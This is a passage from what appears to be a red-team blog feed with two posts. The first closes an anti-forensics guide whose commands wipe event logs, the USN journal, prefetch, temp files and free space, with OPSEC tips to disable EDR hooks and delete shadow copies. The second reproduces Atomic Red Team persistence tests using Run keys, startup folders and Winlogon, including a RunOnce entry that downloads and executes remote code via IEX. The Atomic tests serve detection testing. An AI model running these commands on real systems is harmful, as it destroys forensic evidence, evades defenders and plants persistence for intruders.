<li><p><strong>Blue Team Counter</strong>: PrintNightmare or spooler monitoring.</p>
</li>
</ul>
<hr />
<h2>10. Disable Telemetry</h2>
<pre><code class="language-plaintext">reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\DataCollection" /v AllowTelemetry /t REG_DWORD /d 0 /f
</code></pre>
<ul>
<li><p><strong>Purpose</strong>: Sets telemetry to <strong>0</strong> (disabled) via GPO-style registry key.</p>
</li>
<li><p><strong>Impact</strong>: Reduces diagnostic data sent to Microsoft.</p>
</li>
<li><p><strong>Risk</strong>: Low. May not apply on Home editions.</p>
</li>
<li><p><strong>Blue Team Counter</strong>: Central telemetry collection (e.g., OMS, Defender ATP).</p>
</li>
</ul>
<hr />
<h2>11. Clear Prefetch Files</h2>
<pre><code class="language-plaintext">del /q /f /s %SystemRoot%\Prefetch\*.*
</code></pre>
<ul>
<li><p><strong>Purpose</strong>: Deletes .pf files that record <strong>application execution paths and timestamps</strong>.</p>
</li>
<li><p><strong>Impact</strong>: Removes evidence of tool usage (e.g., mimikatz.exe).</p>
</li>
<li><p><strong>Risk</strong>: Temporary performance hit on app launch.</p>
</li>
<li><p><strong>Blue Team Counter</strong>: Prefetch parsing (e.g., PECmd, WinPMEM).</p>
</li>
</ul>
<hr />
<h2>12. Disable Windows Error Reporting</h2>
<pre><code class="language-plaintext">reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Error Reporting" /v Disabled /t REG_DWORD /d 1
</code></pre>
<ul>
<li><p><strong>Purpose</strong>: Stops crash dumps and error reports.</p>
</li>
<li><p><strong>Impact</strong>: Prevents upload of memory dumps containing keys or tokens.</p>
</li>
<li><p><strong>Risk</strong>: Low. Hinders post-exploitation analysis.</p>
</li>
<li><p><strong>Blue Team Counter</strong>: Local WER queue before upload.</p>
</li>
</ul>
<hr />
<h2>Execution Order &amp; OPSEC Tips</h2>
<pre><code class="language-plaintext">cipher /w:C:\
ipconfig /flushdns
wevtutil cl System
RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 255
fsutil usn deletejournal /d /n C:
del /f /s /q %TEMP%\*.*
powercfg /hibernate off
netsh interface ipv4 reset
del /q /f /s %systemroot%\System32\spool\PRINTERS\*
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\DataCollection" /v AllowTelemetry /t REG_DWORD /d 0 /f
del /q /f /s %SystemRoot%\Prefetch\*.*
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Error Reporting" /v Disabled /t REG_DWORD /d 1
</code></pre>
<h3>OPSEC Recommendations:</h3>
<ul>
<li><p><strong>Run as SYSTEM</strong> (via psexec -s or token impersonation).</p>
</li>
<li><p><strong>Disable EDR hooks</strong> first (if possible).</p>
</li>
<li><p><strong>Avoid GUI</strong>—use cmd or PowerShell with -WindowStyle Hidden.</p>
</li>
<li><p><strong>Stagger execution</strong> to avoid I/O spikes.</p>
</li>
<li><p><strong>Check VSS</strong> first: vssadmin list shadows → delete if needed (/for=C:).</p>
</li>
</ul>
<hr />
<h2>What This <strong>Doesn’t</strong> Cover</h2>
<ul>
<li><p><strong>Memory forensics</strong> (use Rundll32.exe comsvcs.dll MiniDump countermeasures separately)</p>
</li>
<li><p><strong>Modern Edge/Chrome</strong> (use Get-Process msedge | Stop-Process + clear %LocalAppData%\Microsoft\Edge)</p>
</li>
<li><p><strong>Sysmon/Event Forwarding</strong></p>
</li>
<li><p><strong>MFT/$LogFile</strong> (use fsutil behavior set disablecompression 1 + ntfsinfo)</p>
</li>
</ul>
<hr />
<h2>Final Notes</h2>
<p>This sequence turns a compromised host into a <strong>forensic black hole</strong>. Blue team will see:</p>
<ul>
<li><p>No event logs</p>
</li>
<li><p>No prefetch</p>
</li>
<li><p>No DNS history</p>
</li>
<li><p>No recoverable deleted files</p>
</li>
</ul>
<blockquote>
<p><strong>Red Team Pro Tip</strong>: Combine with <strong>timestomping</strong>, <strong>logon spoofing</strong>, and <strong>AMS1 bypass</strong> for full-spectrum evasion.</p>
</blockquote>
<p>Stay ghosted.</p>
]]></content:encoded></item><item><title><![CDATA[Living in the Run Key: Practical Persistence for Red Team Ops]]></title><description><![CDATA[Description from ATT&CK

Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or sta]]></description><link>https://redghostops.com/living-in-the-run-key-practical-persistence-for-red-team-ops</link><guid isPermaLink="true">https://redghostops.com/living-in-the-run-key-practical-persistence-for-red-team-ops</guid><category><![CDATA[windows persistence]]></category><category><![CDATA[redteaming]]></category><category><![CDATA[hacking]]></category><dc:creator><![CDATA[Marco Carola]]></dc:creator><pubDate>Thu, 06 Nov 2025 09:16:26 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/690c64913ff755ea4fc5493f/5cafbc46-4e90-4423-8bba-e1c47e6324d9.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2><a href="https://attack.mitre.org/techniques/T1547/001"><strong>Description from ATT&amp;CK</strong></a></h2>
<blockquote>
<p>Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.(Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level.</p>
<p>The following run keys are created by default on Windows systems:</p>
<ul>
<li><p><code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run</code></p>
</li>
<li><p><code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce</code></p>
</li>
<li><p><code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run</code></p>
</li>
<li><p><code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce</code></p>
</li>
</ul>
<p>Run keys may exist under multiple hives.(Citation: Microsoft Wow6432Node 2018)(Citation: Malwarebytes Wow6432Node 2016) The <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx</code> is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency.(Citation: Microsoft Run Key) For example, it is possible to load a DLL at logon using a "Depend" key with RunOnceEx: <code>reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "C:\temp\evil[.]dll"</code> (Citation: Oddvar Moe RunOnceEx Mar 2018)</p>
<p>Placing a program within a startup folder will also cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in. The startup folder path for the current user is <code>C:\Users\[Username]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup</code>. The startup folder path for all users is <code>C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp</code>.</p>
<p>The following Registry keys can be used to set startup folder items for persistence:</p>
<ul>
<li><p><code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders</code></p>
</li>
<li><p><code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders</code></p>
</li>
<li><p><code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders</code></p>
</li>
<li><p><code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders</code></p>
</li>
</ul>
<p>The following Registry keys can control automatic startup of services during boot:</p>
<ul>
<li><p><code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce</code></p>
</li>
<li><p><code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce</code></p>
</li>
<li><p><code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices</code></p>
</li>
<li><p><code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices</code></p>
</li>
</ul>
<p>Using policy settings to specify startup programs creates corresponding values in either of two Registry keys:</p>
<ul>
<li><p><code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run</code></p>
</li>
<li><p><code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run</code></p>
</li>
</ul>
<p>Programs listed in the load value of the registry key <code>HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows</code> run automatically for the currently logged-on user.</p>
<p>By default, the multistring <code>BootExecute</code> value of the registry key <code>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager</code> is set to <code>autocheck autochk *</code>. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.</p>
<p>Adversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use <a href="https://attack.mitre.org/techniques/T1036">Masquerading</a> to make the Registry entries look as if they are associated with legitimate programs.</p>
</blockquote>
<h2><strong>Atomic Tests</strong></h2>
<ul>
<li><p>Atomic Test #1 - Reg Key Run</p>
</li>
<li><p>Atomic Test #2 - Reg Key RunOnce</p>
</li>
<li><p>Atomic Test #3 - PowerShell Registry RunOnce</p>
</li>
<li><p>Atomic Test #4 - Suspicious vbs file run from startup Folder</p>
</li>
<li><p>Atomic Test #5 - Suspicious jse file run from startup Folder</p>
</li>
<li><p>Atomic Test #6 - Suspicious bat file run from startup Folder</p>
</li>
<li><p>Atomic Test #7 - Add Executable Shortcut Link to User Startup Folder</p>
</li>
<li><p>Atomic Test #8 - Add persistance via Recycle bin</p>
</li>
<li><p>Atomic Test #9 - SystemBC Malware-as-a-Service Registry</p>
</li>
<li><p>Atomic Test #10 - Change Startup Folder - HKLM Modify User Shell Folders Common Startup Value</p>
</li>
<li><p>Atomic Test #11 - Change Startup Folder - HKCU Modify User Shell Folders Startup Value</p>
</li>
<li><p>Atomic Test #12 - HKCU - Policy Settings Explorer Run Key</p>
</li>
<li><p>Atomic Test #13 - HKLM - Policy Settings Explorer Run Key</p>
</li>
<li><p>Atomic Test #14 - HKLM - Append Command to Winlogon Userinit KEY Value</p>
</li>
<li><p>Atomic Test #15 - HKLM - Modify default System Shell - Winlogon Shell KEY Value</p>
</li>
<li><p>Atomic Test #16 - secedit used to create a Run key in the HKLM Hive</p>
</li>
<li><p>Atomic Test #17 - Modify BootExecute Value</p>
</li>
<li><p>Atomic Test #18 - Allowing custom application to execute during new RDP logon session</p>
</li>
<li><p>Atomic Test #19 - Creating Boot Verification Program Key for application execution during successful boot</p>
</li>
<li><p>Atomic Test #20 - Add persistence via Windows Context Menu</p>
</li>
</ul>
<h2><strong>Atomic Test #1 - Reg Key Run</strong></h2>
<p>Run Key Persistence</p>
<p>Upon successful execution, cmd.exe will modify the registry by adding "Atomic Red Team" to the Run key. Output will be via stdout.</p>
<p><strong>Supported Platforms:</strong> Windows</p>
<p><strong>auto_generated_guid:</strong> e55be3fd-3521-4610-9d1a-e210e42dcf05</p>
<h4><strong>Inputs:</strong></h4>
<table>
<thead>
<tr>
<th><strong>Name</strong></th>
<th><strong>Description</strong></th>
<th><strong>Type</strong></th>
<th><strong>Default Value</strong></th>
</tr>
</thead>
<tbody><tr>
<td>command_to_execute</td>
<td>Thing to Run</td>
<td>path</td>
<td>C:\Path\AtomicRedTeam.exe</td>
</tr>
</tbody></table>
<h4><strong>Attack Commands: Run with</strong> <code>command_prompt</code>!</h4>
<pre><code class="language-plaintext">REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Atomic Red Team" /t REG_SZ /F /D "#{command_to_execute}"
</code></pre>
<h4><strong>Cleanup Commands:</strong></h4>
<pre><code class="language-plaintext">REG DELETE "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Atomic Red Team" /f &gt;nul 2&gt;&amp;1
</code></pre>
<h2><strong>Atomic Test #2 - Reg Key RunOnce</strong></h2>
<p>RunOnce Key Persistence.</p>
<p>Upon successful execution, cmd.exe will modify the registry to load AtomicRedTeam.dll to RunOnceEx. Output will be via stdout.</p>
<p><strong>Supported Platforms:</strong> Windows</p>
<p><strong>auto_generated_guid:</strong> 554cbd88-cde1-4b56-8168-0be552eed9eb</p>
<h4><strong>Inputs:</strong></h4>
<table>
<thead>
<tr>
<th><strong>Name</strong></th>
<th><strong>Description</strong></th>
<th><strong>Type</strong></th>
<th><strong>Default Value</strong></th>
</tr>
</thead>
<tbody><tr>
<td>thing_to_execute</td>
<td>Thing to Run</td>
<td>path</td>
<td>C:\Path\AtomicRedTeam.dll</td>
</tr>
</tbody></table>
<h4><strong>Attack Commands: Run with</strong> <code>command_prompt</code>! Elevation Required (e.g. root or admin)</h4>
<pre><code class="language-plaintext">REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "#{thing_to_execute}"
</code></pre>
<h4><strong>Cleanup Commands:</strong></h4>
<pre><code class="language-plaintext">REG DELETE HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /f &gt;nul 2&gt;&amp;1
</code></pre>
<h2><strong>Atomic Test #3 - PowerShell Registry RunOnce</strong></h2>
<p>RunOnce Key Persistence via PowerShell Upon successful execution, a new entry will be added to the runonce item in the registry.</p>
<p><strong>Supported Platforms:</strong> Windows</p>
<p><strong>auto_generated_guid:</strong> eb44f842-0457-4ddc-9b92-c4caa144ac42</p>
<h4><strong>Inputs:</strong></h4>
<table>
<thead>
<tr>
<th><strong>Name</strong></th>
<th><strong>Description</strong></th>
<th><strong>Type</strong></th>
<th><strong>Default Value</strong></th>
</tr>
</thead>
<tbody><tr>
<td>thing_to_execute</td>
<td>Thing to Run</td>
<td>path</td>
<td>powershell.exe</td>
</tr>
<tr>
<td>reg_key_path</td>
<td>Path to registry key to update</td>
<td>path</td>
<td>HKLM:\Software\Microsoft\Windows\CurrentVersion\RunOnce</td>
</tr>
</tbody></table>
<h4><strong>Attack Commands: Run with</strong> <code>powershell</code>! Elevation Required (e.g. root or admin)</h4>
<pre><code class="language-plaintext">$RunOnceKey = "#{reg_key_path}"
set-itemproperty $RunOnceKey "NextRun" '#{thing_to_execute} "IEX (New-Object Net.WebClient).DownloadString(`"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1547.001/src/Discovery.bat`")"'
</code></pre>
<h4><strong>Cleanup Commands:</strong></h4>
<pre><code class="language-plaintext">Remove-ItemProperty -Path #{reg_key_path} -Name "NextRun" -Force -ErrorAction Ignore
</code></pre>
<h2><strong>Atomic Test #4 - Suspicious vbs file run from startup Folder</strong></h2>
<p>vbs files can be placed in and ran from the startup folder to maintain persistance. Upon execution, "T1547.001 Hello, World VBS!" will be displayed twice. Additionally, the new files can be viewed in the "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup" folder and will also run when the computer is restarted and the user logs in.</p>
<p><strong>Supported Platforms:</strong> Windows</p>
<p><strong>auto_generated_guid:</strong> 2cb98256-625e-4da9-9d44-f2e5f90b8bd5</p>
<h4><strong>Attack Commands: Run with</strong> <code>powershell</code>! Elevation Required (e.g. root or admin)</h4>
<pre><code class="language-plaintext">Copy-Item "\(PathToAtomicsFolder\T1547.001\src\vbsstartup.vbs" "\)env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\vbsstartup.vbs"
Copy-Item "$PathToAtomicsFolder\T1547.001\src\vbsstartup.vbs" "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\vbsstartup.vbs"
cscript.exe "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\vbsstartup.vbs"
cscript.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\vbsstartup.vbs"
</code></pre>
<h4><strong>Cleanup Commands:</strong></h4>
<pre><code class="language-plaintext">Remove-Item "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\vbsstartup.vbs" -ErrorAction Ignore
Remove-Item "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\vbsstartup.vbs" -ErrorAction Ignore
</code></pre>
<h2><strong>Atomic Test #5 - Suspicious jse file run from startup Folder</strong></h2>
<p>jse files can be placed in and ran from the startup folder to maintain persistance. Upon execution, "T1547.001 Hello, World JSE!" will be displayed twice. Additionally, the new files can be viewed in the "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup" folder and will also run when the computer is restarted and the user logs in.</p>
<p><strong>Supported Platforms:</strong> Windows</p>
<p><strong>auto_generated_guid:</strong> dade9447-791e-4c8f-b04b-3a35855dfa06</p>
<h4><strong>Attack Commands: Run with</strong> <code>powershell</code>! Elevation Required (e.g. root or admin)</h4>
<pre><code class="language-plaintext">Copy-Item "\(PathToAtomicsFolder\T1547.001\src\jsestartup.jse" "\)env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\jsestartup.jse"
Copy-Item "$PathToAtomicsFolder\T1547.001\src\jsestartup.jse" "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\jsestartup.jse"
cscript.exe /E:Jscript "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\jsestartup.jse"
cscript.exe /E:Jscript "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\jsestartup.jse"
</code></pre>
<h4><strong>Cleanup Commands:</strong></h4>
<pre><code class="language-plaintext">Remove-Item "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\jsestartup.jse" -ErrorAction Ignore
Remove-Item "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\jsestartup.jse" -ErrorAction Ignore
</code></pre>
<h2><strong>Atomic Test #6 - Suspicious bat file run from startup Folder</strong></h2>
<p>bat files can be placed in and executed from the startup folder to maintain persistance</p>
<p>Upon execution, cmd will be run and immediately closed. Additionally, the new files can be viewed in the "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup" folder and will also run when the computer is restarted and the user logs in.</p>
<p><strong>Supported Platforms:</strong> Windows</p>
<p><strong>auto_generated_guid:</strong> 5b6768e4-44d2-44f0-89da-a01d1430fd5e</p>
<h4><strong>Attack Commands: Run with</strong> <code>powershell</code>! Elevation Required (e.g. root or admin)</h4>
<pre><code class="language-plaintext">Copy-Item "\(PathToAtomicsFolder\T1547.001\src\batstartup.bat" "\)env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\batstartup.bat"
Copy-Item "$PathToAtomicsFolder\T1547.001\src\batstartup.bat" "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\batstartup.bat"
Start-Process "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\batstartup.bat"
Start-Process "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\batstartup.bat"
</code></pre>
<h4><strong>Cleanup Commands:</strong></h4>
<pre><code class="language-plaintext">Remove-Item "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\batstartup.bat" -ErrorAction Ignore
Remove-Item "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\batstartup.bat" -ErrorAction Ignore
</code></pre>
<h2><strong>Atomic Test #7 - Add Executable Shortcut Link to User Startup Folder</strong></h2>
<p>Adds a non-malicious executable shortcut link to the current users startup directory. Test can be verified by going to the users startup directory and checking if the shortcut link exists.</p>
<p><strong>Supported Platforms:</strong> Windows</p>
<p><strong>auto_generated_guid:</strong> 24e55612-85f6-4bd6-ae74-a73d02e3441d</p>
<h4><strong>Attack Commands: Run with</strong> <code>powershell</code>! Elevation Required (e.g. root or admin)</h4>
<pre><code class="language-plaintext">$Target = "C:\Windows\System32\calc.exe"
\(ShortcutLocation = "\)home\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\calc_exe.lnk"
$WScriptShell = New-Object -ComObject WScript.Shell
\(Create = \)WScriptShell.CreateShortcut($ShortcutLocation)
\(Create.TargetPath = \)Target
$Create.Save()
</code></pre>
<h4><strong>Cleanup Commands:</strong></h4>
<pre><code class="language-plaintext">Remove-Item "$home\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\calc_exe.lnk" -ErrorAction Ignore
</code></pre>
<h2><strong>Atomic Test #8 - Add persistance via Recycle bin</strong></h2>
<p>Add a persistance via Recycle bin <a href="https://github.com/vxunderground/VXUG-Papers/blob/main/The%20Persistence%20Series/Persistence%20via%20Recycle%20Bin/Persistence_via_Recycle_Bin.pdf">vxunderground</a> User have to clic on the recycle bin to lauch the payload (here calc)</p>
<p><strong>Supported Platforms:</strong> Windows</p>
<p><strong>auto_generated_guid:</strong> bda6a3d6-7aa7-4e89-908b-306772e9662f</p>
<h4><strong>Attack Commands: Run with</strong> <code>command_prompt</code>!</h4>
<pre><code class="language-plaintext">reg ADD "HKCR\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\shell\open\command" /ve /d "calc.exe" /f
</code></pre>
<h4><strong>Cleanup Commands:</strong></h4>
<pre><code class="language-plaintext">reg DELETE "HKCR\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\shell\open" /f
</code></pre>
<h2><strong>Atomic Test #9 - SystemBC Malware-as-a-Service Registry</strong></h2>
<p>This Atomic will create a registry key called socks5_powershell for persistance access <a href="https://medium.com/walmartglobaltech/systembc-powershell-version-68c9aad0f85c">https://medium.com/walmartglobaltech/systembc-powershell-version-68c9aad0f85c</a></p>
<p><strong>Supported Platforms:</strong> Windows</p>
<p><strong>auto_generated_guid:</strong> 9dc7767b-30c1-4cc4-b999-50cab5e27891</p>
<h4><strong>Inputs:</strong></h4>
<table>
<thead>
<tr>
<th><strong>Name</strong></th>
<th><strong>Description</strong></th>
<th><strong>Type</strong></th>
<th><strong>Default Value</strong></th>
</tr>
</thead>
<tbody><tr>
<td>reg_key_value</td>
<td>Thing to Run</td>
<td>path</td>
<td>powershell.exe -windowstyle hidden -ExecutionPolicy Bypass -File</td>
</tr>
<tr>
<td>reg_key_path</td>
<td>Path to registry key to update</td>
<td>path</td>
<td>HKCU:\Software\Microsoft\Windows\CurrentVersion\Run</td>
</tr>
</tbody></table>
<h4><strong>Attack Commands: Run with</strong> <code>powershell</code>!</h4>
<pre><code class="language-plaintext">$RunKey = "#{reg_key_path}"
Set-ItemProperty -Path $RunKey -Name "socks5_powershell" -Value "#{reg_key_value}"
</code></pre>
<h4><strong>Cleanup Commands:</strong></h4>
<pre><code class="language-plaintext">Remove-ItemProperty -Path #{reg_key_path} -Name "socks5_powershell" -Force -ErrorAction Ignore
</code></pre>
<h2><strong>Atomic Test #10 - Change Startup Folder - HKLM Modify User Shell Folders Common Startup Value</strong></h2>
<p>This test will modify the HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders -V "Common Startup" value to point to a new startup folder where a payload could be stored to launch at boot. *successful execution requires system restart</p>
<p><strong>Supported Platforms:</strong> Windows</p>
<p><strong>auto_generated_guid:</strong> acfef903-7662-447e-a391-9c91c2f00f7b</p>
<h4><strong>Inputs:</strong></h4>
<table>
<thead>
<tr>
<th><strong>Name</strong></th>
<th><strong>Description</strong></th>
<th><strong>Type</strong></th>
<th><strong>Default Value</strong></th>
</tr>
</thead>
<tbody><tr>
<td>new_startup_folder</td>
<td>new startup folder to replace standard one</td>
<td>string</td>
<td>$env:TMP\atomictest\</td>
</tr>
<tr>
<td>payload</td>
<td>executable to be placed in new startup location</td>
<td>string</td>
<td>C:\Windows\System32\calc.exe</td>
</tr>
</tbody></table>
<h4><strong>Attack Commands: Run with</strong> <code>powershell</code>! Elevation Required (e.g. root or admin)</h4>
<pre><code class="language-plaintext">New-Item -ItemType Directory -path "#{new_startup_folder}"
Copy-Item -path "#{payload}" -destination "#{new_startup_folder}"
Set-ItemProperty -Path  "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" -Name "Common Startup" -Value "#{new_startup_folder}"
</code></pre>
<h4><strong>Cleanup Commands:</strong></h4>
<pre><code class="language-plaintext">Set-ItemProperty -Path  "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" -Name "Common Startup" -Value "%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup"
Remove-Item "#{new_startup_folder}" -Recurse -Force
</code></pre>
<h2><strong>Atomic Test #11 - Change Startup Folder - HKCU Modify User Shell Folders Startup Value</strong></h2>
<p>This test will modify the HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders -V "Startup" value to point to a new startup folder where a payload could be stored to launch at boot. *successful execution requires system restart</p>
<p><strong>Supported Platforms:</strong> Windows</p>
<p><strong>auto_generated_guid:</strong> 8834b65a-f808-4ece-ad7e-2acdf647aafa</p>
<h4><strong>Inputs:</strong></h4>
<table>
<thead>
<tr>
<th><strong>Name</strong></th>
<th><strong>Description</strong></th>
<th><strong>Type</strong></th>
<th><strong>Default Value</strong></th>
</tr>
</thead>
<tbody><tr>
<td>new_startup_folder</td>
<td>new startup folder to replace standard one</td>
<td>string</td>
<td>$env:TMP\atomictest\</td>
</tr>
<tr>
<td>payload</td>
<td>executable to be placed in new startup location</td>
<td>string</td>
<td>C:\Windows\System32\calc.exe</td>
</tr>
</tbody></table>
<h4><strong>Attack Commands: Run with</strong> <code>powershell</code>!</h4>
<pre><code class="language-plaintext">New-Item -ItemType Directory -path "#{new_startup_folder}"
Copy-Item -path "#{payload}" -destination "#{new_startup_folder}"
Set-ItemProperty -Path  "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" -Name "Startup" -Value "#{new_startup_folder}"
</code></pre>
<h4><strong>Cleanup Commands:</strong></h4>
<pre><code class="language-plaintext">Set-ItemProperty -Path  "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" -Name "Startup" -Value "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup"
Remove-Item "#{new_startup_folder}" -Recurse -Force
</code></pre>
<h2><strong>Atomic Test #12 - HKCU - Policy Settings Explorer Run Key</strong></h2>
<p>This test will create a new value under HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run to launch calc.exe on boot. *Requires reboot</p>
<p><strong>Supported Platforms:</strong> Windows</p>
<p><strong>auto_generated_guid:</strong> a70faea1-e206-4f6f-8d9a-67379be8f6f1</p>
<h4><strong>Inputs:</strong></h4>
<table>
<thead>
<tr>
<th><strong>Name</strong></th>
<th><strong>Description</strong></th>
<th><strong>Type</strong></th>
<th><strong>Default Value</strong></th>
</tr>
</thead>
<tbody><tr>
<td>target_key_value_name</td>
<td>registry value to crate on target key</td>
<td>string</td>
<td>atomictest</td>
</tr>
<tr>
<td>payload</td>
<td>payload to execute</td>
<td>string</td>
<td>C:\Windows\System32\calc.exe</td>
</tr>
</tbody></table>
<h4><strong>Attack Commands: Run with</strong> <code>powershell</code>! Elevation Required (e.g. root or admin)</h4>
<pre><code class="language-plaintext">if (!(Test-Path -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer")){
  New-Item -ItemType Key -Path  "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"
}
if (!(Test-Path -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run")){
  New-Item -ItemType Key -Path  "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run"
}
Set-ItemProperty -Path  "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" -Name "#{target_key_value_name}" -Value "#{payload}"
</code></pre>
<h4><strong>Cleanup Commands:</strong></h4>
<pre><code class="language-plaintext">Remove-ItemProperty -Path  "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" -Name "#{target_key_value_name}"
</code></pre>
<h2><strong>Atomic Test #13 - HKLM - Policy Settings Explorer Run Key</strong></h2>
<p>This test will create a HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run key value to launch calc.exe on boot. *Requires reboot</p>
<p><strong>Supported Platforms:</strong> Windows</p>
<p><strong>auto_generated_guid:</strong> b5c9a9bc-dda3-4ea0-b16a-add8e81ab75f</p>
<h4><strong>Inputs:</strong></h4>
<table>
<thead>
<tr>
<th><strong>Name</strong></th>
<th><strong>Description</strong></th>
<th><strong>Type</strong></th>
<th><strong>Default Value</strong></th>
</tr>
</thead>
<tbody><tr>
<td>target_key_value_name</td>
<td>registry value to crate on target key</td>
<td>string</td>
<td>atomictest</td>
</tr>
<tr>
<td>payload</td>
<td>payload to execute</td>
<td>string</td>
<td>C:\Windows\System32\calc.exe</td>
</tr>
</tbody></table>
<h4><strong>Attack Commands: Run with</strong> <code>powershell</code>! Elevation Required (e.g. root or admin)</h4>
<pre><code class="language-plaintext">if (!(Test-Path -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run")){
  New-Item -ItemType Key -Path  "HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run"
}
Set-ItemProperty -Path  "HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" -Name "#{target_key_value_name}" -Value "#{payload}"
</code></pre>
<h4><strong>Cleanup Commands:</strong></h4>
<pre><code class="language-plaintext">Remove-ItemProperty -Path  "HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" -Name "#{target_key_value_name}"
</code></pre>
<h2><strong>Atomic Test #14 - HKLM - Append Command to Winlogon Userinit KEY Value</strong></h2>
<p>This test will append a command to the HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit value to launch calc.exe on boot.</p>
<ul>
<li>Requires reboot</li>
</ul>
<p><strong>Supported Platforms:</strong> Windows</p>
